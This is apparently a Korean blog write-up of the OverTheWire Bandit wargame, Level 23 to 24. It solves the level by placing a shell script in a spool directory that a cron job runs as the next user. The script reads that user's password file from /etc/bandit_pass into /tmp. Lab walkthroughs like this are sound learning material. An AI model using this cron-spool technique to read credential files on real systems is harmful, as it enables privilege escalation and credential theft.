본문 바로가기

wargame/bandit

Level 23 → Level 24

Level Goal

A program is running automatically at regular intervals from cron, the time-based job scheduler. Look in /etc/cron.d/ for the configuration and see what command is being executed.
NOTE: This level requires you to create your own first shell-script. This is a very big step and you should be proud of yourself when you beat this levell!
NOTE 2: Keep in mind that your shell script is removed once executed, so you may want to keep a copy around…
프로그램은 (시간에 기반을 둔 job scheduler인) cron에서 일정한 시간 간격을 두고 자동적으로 실행된다. /etc/cron.d/에서 구성을 찾고 명령어가 실행되는지 확인하여라
NOTE: 이 단계는 너만의 첫 shell-script를 만드는 것이 필요하다. 이 것은 매우 큰 진전이며 이 단계를 해결하였을 때 스스로에게 자랑스러울 것이다
NOTE2: 너의 shell script는 한 번 실행되면 삭제되므로 복사본을 보관하는 것이 좋을 수도 있음을 명심하여라

Code

bandit23@bandit:~$ cd /etc/cron.d/
bandit23@bandit:/etc/cron.d$ ls
cronjob_bandit22  cronjob_bandit23  cronjob_bandit24
bandit23@bandit:/etc/cron.d$ cat cronjob_bandit24
@reboot bandit24 /usr/bin/cronjob_bandit24.sh &> /dev/null
* * * * * bandit24 /usr/bin/cronjob_bandit24.sh &> /dev/null
bandit23@bandit:/etc/cron.d$ cd /usr/bin
bandit23@bandit:/usr/bin$ cat cronjob_bandit24.sh
#!/bin/bash

myname=$(whoami)

cd /var/spool/$myname
echo "Executing and deleting all scripts in /var/spool/$myname:"
for i in * .*;
do
    if [ "$i" != "." -a "$i" != ".." ];
    then
	echo "Handling $i"
	timeout -s 9 60 ./$i
	rm -f ./$i
    fi
done


# 헤메다가 저장못함
bandit23@bandit:/tmp$ cat tmp.sh
#! /bin/bash

cat /etc/bandit_pass/bandit24 >> /tmp/pw
bandit23@bandit:/tmp$ ls -l tmp.sh
-rwxrwxrwx 1 bandit23 root 56 Mar  2 18:54 tmp.sh
bandit23@bandit:/tmp$ cp tmp.sh /var/spool/bandit24/
bandit23@bandit:/tmp$ cat pw
cat: pw: No such file or directory
bandit23@bandit:/tmp$ cat pw
cat: pw: No such file or directory
bandit23@bandit:/tmp$ cat pw
cat: pw: No such file or directory
bandit23@bandit:/tmp$ cat pw
cat: pw: No such file or directory
bandit23@bandit:/tmp$ cat pw
cat: pw: No such file or directory
bandit23@bandit:/tmp$ ls
ls: cannot open directory '.': Permission denied
bandit23@bandit:/tmp$ cat pw
cat: pw: No such file or directory
bandit23@bandit:/tmp$ cat pw
#비밀번호

이전과 같은 단계를 거쳐 살펴보니 cron에 의하여 /var/spool/bandit24를 실행하고 60초 이후에 삭제하는 cronjob_bandit24.sh가 계속 실행된다. 또한 이번에는 쉘 스크립트를 작성해야 한다. 처음에는 많이 헤맸는데 결국은 소유자인 bandit24 cronjob_bandit24.sh가 /var/spool/bandit24를 실행&삭제 하는 대신에 비밀번호를 출력하게 하는 스크립트로 교체하기로 하였다.(아니면 cronjob_bandit24.sh를 교체할 수도 있었지만 좀 더 복잡해 보여서 시도하지 않았다) 우선 파일을 만들 수 있는 tmp 디렉토리에 실행파일을 만들고 시도해보았다. 되지 않아서 검색해보니 실행권한이 부족하였다. 실행권한을 최대한 주고 다시 시도해보니 성공하였다.
+) if   vi command

'wargame > bandit' 카테고리의 다른 글

Level 25 → Level 26  (0) 2019.02.28
Level 24 → Level 25  (0) 2019.02.28
Level 22 → Level 23  (0) 2019.02.28
Level 21 → Level 22  (0) 2019.02.28
Level 20 → Level 21  (0) 2019.02.28